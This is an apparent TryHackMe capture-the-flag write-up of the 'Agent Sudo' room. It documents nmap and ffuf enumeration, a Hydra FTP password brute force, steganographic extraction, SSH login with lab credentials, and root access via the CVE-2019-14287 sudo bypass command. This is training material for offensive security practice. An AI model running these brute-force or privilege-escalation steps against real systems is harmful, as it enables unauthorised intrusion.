TryHackMe Walkthrough

Agent Sudo

A Comprehensive Penetration Testing Report

Author: hyena11

Platform: TryHackMe

Date: February 9, 2026

Room Completed: 26-Day Streak Maintained! 🔥

Table of Contents

1. Executive Summary

The Agent Sudo room is a comprehensive beginner-to-intermediate level challenge that covers fundamental penetration testing concepts including enumeration, web exploitation, brute force attacks, steganography, and Linux privilege escalation. This writeup documents the complete methodology used to successfully compromise the target system and achieve root access.

The challenge simulates a real-world scenario where an attacker must leverage multiple vulnerabilities across different services to gain complete control of the target system. Through systematic enumeration and exploitation, I successfully obtained both user and root flags, demonstrating proficiency in offensive security techniques.

2. Room Information

Room Name: Agent Sudo

Difficulty: Beginner to Intermediate

Platform: TryHackMe

Author: DesKel

Target IP: 10.48.189.137

Completion Stats: 5 tasks completed, 390 points earned, 26-day learning streak maintained

3. Tools & Environment

The following tools and environment were used throughout this penetration test:

- **Operating System:** Kali Linux (Virtual Machine)
- **Nmap:** Network scanning and service enumeration
- **ffuf:** Directory and file fuzzing (version 2.1.0-dev)
- **curl:** HTTP requests with custom User-Agent headers
- **Hydra:** Password brute forcing (version 9.6)
- **Binwalk:** Firmware analysis and embedded file extraction
- **Steghide:** Steganography detection and extraction
- **John the Ripper:** Password hash cracking
- **7-Zip:** Archive extraction
- **SSH Client:** Remote access
- **CyberChef:** Data decoding and analysis

4. Methodology

This penetration test followed a structured approach based on industry-standard methodologies:

1. **Reconnaissance:** Information gathering and target identification
2. **Enumeration:** Comprehensive port scanning and service detection
3. **Exploitation:** Leveraging discovered vulnerabilities
4. **Post-Exploitation:** Maintaining access and gathering sensitive information
5. **Privilege Escalation:** Elevating privileges to root access

5. Detailed Walkthrough

5.1. Task 1: Introduction

The room begins with an introduction from the creator DesKel. This task simply requires deploying the virtual machine. No specific actions are required beyond starting the target system and ensuring connectivity.

✓ **Action Taken:** Deployed the machine and waited for it to become accessible.

5.2. Task 2: Enumeration & Port Scanning

Initial Reconnaissance

The first step in any penetration test is thorough enumeration. I began with a comprehensive Nmap scan to identify open ports and running services on the target machine.

Command Executed:

```
nmap -sS -sV -A -T4 -vv 10.48.189.137
```

Command Breakdown:

- **`-sS:`** SYN stealth scan
- **`-sV:`** Service version detection
- **`-A:`** Aggressive scan (OS detection, version detection, script scanning)
- **`-T4:`** Aggressive timing template
- **`-vv:`** Very verbose output

Scan Results:

Port 21/TCP - FTP (vsftpd 3.0.3)

- Service: File Transfer Protocol
- Version: vsftpd 3.0.3
- State: Open and accessible

Port 22/TCP - SSH (OpenSSH 7.6p1)

- Service: Secure Shell
- Version: OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
- Protocol: 2.0
- Operating System: Ubuntu Linux

Port 80/TCP - HTTP (Apache 2.4.29)

- Service: Web Server
- Version: Apache httpd 2.4.29 (Ubuntu)
- Page Title: Announcement

- Supported Methods: GET, HEAD, POST

Web Directory Fuzzing

After identifying the web server, I performed directory fuzzing to discover hidden paths and resources using ffuf (Fast web fuzzer).

Command Executed:

```
ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -u "http://10.48.189.137/FUZZ"
```

Fuzzing Configuration:

- **Method:** GET
- **URL:** http://10.48.189.137/FUZZ
- **Wordlist:** DirBuster-2007 directory list (lowercase, medium)
- **Follow Redirects:** False
- **Calibration:** False
- **Timeout:** 10 seconds
- **Threads:** 40
- **Matcher:** Response status codes 200-299, 301, 302, 307, 401, 403, 405, 500

Result: No significant directories were discovered during the fuzzing process. This indicated that the web application might be using a different access control mechanism, which led me to investigate alternative approaches.

5.3. Task 3: User-Agent Manipulation

Web Application Analysis

Upon accessing the web server via browser, I encountered an announcement page with an interesting message:

"Dear agents, Use your own codename as user-agent to access the site. From, Agent R"

This message suggested that the web application was checking the User-Agent header to grant access to different sections. I needed to discover the correct agent codename to proceed.

User-Agent Testing Process:

I systematically tested different codenames using the curl command-line tool with custom User-Agent headers. The message was signed by "Agent R", suggesting a pattern of single-letter codenames.

Testing Agent "C":

Command:

```
curl -A "C" 10.48.189.137
```

Response:

"What are you doing! Are you one of the 25 employees? If not, I going to report this incident"

Testing Agent "R":

Command:

```
curl -A "R" 10.48.189.137
```

Result: The same warning message appeared, indicating that both "C" and "R" were recognized agents but neither provided the access I needed.

Key Discovery:

The response from Agent "C" was particularly revealing:

- **Username Identified:** "chris" (implicitly revealed in the agent C response)
- **Employee Count:** 25 employees mentioned
- **Password Hint:** The system indicated a weak password might be in use

5.4. Task 4: FTP Brute Force Attack

Password Cracking Strategy

With a valid username (chris) and knowledge of a weak password, I proceeded to perform a brute force attack against the FTP service using Hydra, a powerful network logon cracker.

Command Executed:

```
hydra -l chris -P /usr/share/wordlists/rockyou.txt 10.48.189.137 ftp
```

Attack Parameters:

- **Username:** chris
- **Password List:** rockyou.txt (14,344,399 login attempts)
- **Target Service:** FTP (Port 21)
- **Tasks:** Max 16 tasks per server, overall 16 tasks

Attack Results:

✓ **SUCCESS! Password discovered:** `crystal`

The attack completed successfully at 2026-02-09 15:17:21, with valid credentials found after analyzing approximately 896,920 login attempts from the rockyou.txt wordlist.

FTP Access & File Enumeration

Connecting to FTP:

```
ftp 10.48.189.137
```

Login Credentials:

- **Username:** chris
- **Password:** crystal

Files Discovered:

- **`To_agentJ.txt`** (217 bytes) - Text file containing a message
- **`cute-alien.jpg`** (33,143 bytes) - JPEG image file
- **`cutie.png`** (34,842 bytes) - PNG image file

File Download:

All three files were downloaded to the local machine for further analysis using the FTP 'get' command in binary mode.

Message Analysis (To_agentJ.txt):

```
"Hi james,  Glad you find this message. Your login password is
hackerrules!  Don't ask me why the password look cheesy, ask agent R
who set this password for you.  Your buddy, chris"
```

Key Information Extracted:

- **New Username:** `james`
- **Password Revealed:** `hackerrules!`

However, the message indicated this was a "login password" which suggested it might be used for SSH rather than immediate access. The images required further investigation for potential hidden data.

5.5. Task 5: Steganography Analysis

Hidden Data Discovery

With two image files downloaded from the FTP server, I suspected they might contain hidden data using steganography techniques. I employed multiple tools to analyze and extract any embedded information.

Step 1: Binwalk Analysis (cutie.png)

Binwalk is a firmware analysis tool that can detect embedded files and executable code within binary files. I used it to scan the PNG image:

Command:

```
binwalk cutie.png
```

Discovery:

Binwalk detected a ZIP archive embedded within the PNG file! This is a common steganography technique where files are concatenated together.

Extraction Command:

```
binwalk -e cutie.png
```

This created a directory named '_cutie.png.extracted' containing the embedded ZIP archive.

Step 2: ZIP Password Cracking

The extracted ZIP file was password-protected. I needed to crack the password to access its contents.

Converting ZIP to John Format:

```
zip2john secret.zip > zip.hash
```

Cracking the Password:

```
john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
```

Result:

John the Ripper successfully cracked the ZIP password. However, when attempting to extract with the standard 'unzip' command, I encountered compatibility issues.

Problem Solving:

Solution: Used 7-Zip instead: `7z e secret.zip`

Step 3: Message Decoding

The extracted file contained encoded text. Using CyberChef's automatic decoder, I identified it as Base64 encoding.

Decoded Message:

`Area51`

This appeared to be a password or passphrase, likely for accessing the steganography in the other image file.

Step 4: Steghide Analysis (cute-alien.jpg)

Steghide is a steganography program that can hide data in image and audio files. I used it to check for embedded data in the JPEG file:

Information Check:

```
steghide info cute-alien.jpg
```

Steghide confirmed that the image contained embedded data and prompted for a passphrase.

Extraction Command:

```
steghide extract -sf cute-alien.jpg
```

Passphrase: `Area51`

Extracted File:

`message.txt` - containing additional instructions and credentials

✓ **Success!** I now had everything needed to proceed: username 'james', password 'hackerrules!', and confirmation to use SSH for access.

5.6. Task 6: SSH Access & User Flag

Gaining Initial Access

With valid SSH credentials obtained through the steganography analysis, I proceeded to establish a remote connection to the target system.

SSH Connection:

```
ssh james@10.48.189.137
```

Credentials:

- **Username:** `james`
- **Password:** `hackerrules!`

System Information:

✓ Login Successful!

- **System Load:** 0.0
- **Memory Usage:** 22% of 9.78GB
- **Swap Usage:** 0%
- **Processes:** 102
- **Users Logged In:** 0
- **IP Address:** 10.48.189.137
- **Available Updates:** 75 packages (33 security updates)
- **Last Login:** Tuesday, October 29, 2019 at 14:26:27

Home Directory Enumeration

Command:

```
ls -la
```

Files Found:

- **`Alien_autospy.jpg`** - An image file requiring further investigation
- **`user_flag.txt`** - The user flag file!

User Flag Capture:

Command:

```
cat user_flag.txt
```

Flag Value:

`b03d975e8c92a7c04146cfa7a5a313c7`

✓ User Flag Captured Successfully!

5.7. Task 7: Privilege Escalation & Root Flag

Privilege Escalation Analysis

With user-level access established, the next objective was to escalate privileges to root. I began by enumerating the system for potential privilege escalation vectors.

Sudo Permission Check:

```
sudo -l
```

Output:

```
(ALL, !root) /bin/bash
```

Analysis:

This sudo configuration appeared restrictive at first glance - it allows running /bin/bash as ANY user EXCEPT root. However, this specific configuration is actually vulnerable to a known exploit.

Sudo Version Check:

```
sudo -V
```

Version: `< 1.8.28`

Vulnerability Identified:

`CVE-2019-14287`

Vulnerability Details:

- **Affected Versions:** Sudo < 1.8.28
- **Impact:** Allows bypassing of user restrictions
- **Method:** Using user ID -1 or 4294967295 (which wraps to UID 0 = root)

Exploitation

Exploit Command:

`sudo -u#-1 /bin/bash`

How It Works:

- **`-u#-1`** specifies running as user ID -1
- The -1 value wraps around in the unsigned integer representation
- This becomes UID 0, which is the root user
- Sudo fails to properly validate this and grants root access

Verification:

```
id
```

Output:

```
uid=0(root) gid=0(root) groups=0(root)
```

✓ ROOT ACCESS ACHIEVED!

Root Flag Capture

Navigate to Root Directory:

```
cd /root
```

List Files:

```
ls
```

Files Found:

`root.txt`

Read Root Flag:

```
cat root.txt
```

Root Flag:

`b53a02f55b57d439e3341834d70c062`

Congratulations Message:

"To Mr. hacker, Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. Your flag is b53a02f55b57d439e3341834d70c062 By, DesKel a.k.a Agent R"

✓ ROOT FLAG CAPTURED SUCCESSFULLY!

6. Captured Flags

This section summarizes all flags captured during the penetration test:

User Flag

- **Location:** /home/james/user_flag.txt
- **Value:** `b03d975e8c92a7c04146cfa7a5a313c7`

Root Flag

- **Location:** /root/root.txt
- **Value:** `b53a02f55b57d439e3341834d70c062`

7. Lessons Learned

This challenge provided valuable hands-on experience with multiple penetration testing techniques and problem-solving scenarios:

Technical Skills Developed:

- **Enumeration:** Comprehensive service scanning and version detection using Nmap
- **Web Exploitation:** User-Agent header manipulation to bypass access controls
- **Brute Force Attacks:** Password cracking with Hydra against FTP services
- **Steganography:** Multi-layered data extraction from image files using binwalk and steghide
- **Password Cracking:** ZIP file password recovery using John the Ripper
- **Encoding/Decoding:** Base64 decoding and data format recognition
- **Privilege Escalation:** Identifying and exploiting CVE-2019-14287 for root access

Problem-Solving Challenges:

- **Archive Extraction:** Overcame unzip compatibility issues by using 7-Zip as an alternative
- **User-Agent Discovery:** Systematic testing approach to identify the correct access mechanism
- **Multi-Stage Steganography:** Successfully navigated multiple layers of hidden data

Key Takeaways:

- **Always enumerate thoroughly:** Every service and feature may provide crucial information
- **Chain multiple techniques:** Real-world scenarios often require combining various methods
- **Keep tools updated:** The privilege escalation exploit worked due to outdated sudo version

- **Document everything:** Maintaining detailed notes is crucial for complex multi-stage attacks
- **Adaptability matters:** Being able to use alternative tools when primary methods fail is essential

8. Conclusion

The Agent Sudo room provided an excellent platform to practice and demonstrate fundamental penetration testing skills across multiple domains. The challenge successfully simulated a realistic attack scenario where multiple vulnerabilities and techniques had to be chained together to achieve the final objective.

Starting from initial reconnaissance and progressing through web exploitation, brute force attacks, steganography analysis, and finally privilege escalation, this room covered the complete penetration testing lifecycle. Each stage presented unique challenges that required both technical knowledge and creative problem-solving.

Achievement Summary:

- **Completed Tasks:** 5/5 (100%)
- **Points Earned:** 390
- **Learning Streak:** 26 days maintained 🔥
- **Flags Captured:** 2/2 (User + Root)
- **Vulnerabilities Exploited:** CVE-2019-14287 (Sudo Privilege Escalation)

This writeup demonstrates proficiency in offensive security techniques and serves as a comprehensive documentation of the methodology employed. The room is highly recommended for anyone looking to strengthen their foundational penetration testing skills before progressing to more advanced challenges.

Next Steps:

- Continue with more advanced TryHackMe rooms
- Explore network traffic analysis with Wireshark CTFs
- Practice privilege escalation techniques on other platforms
- Share knowledge through blog posts and community engagement

---

Thank you for reading!

Connect with me on LinkedIn | GitHub | Twitter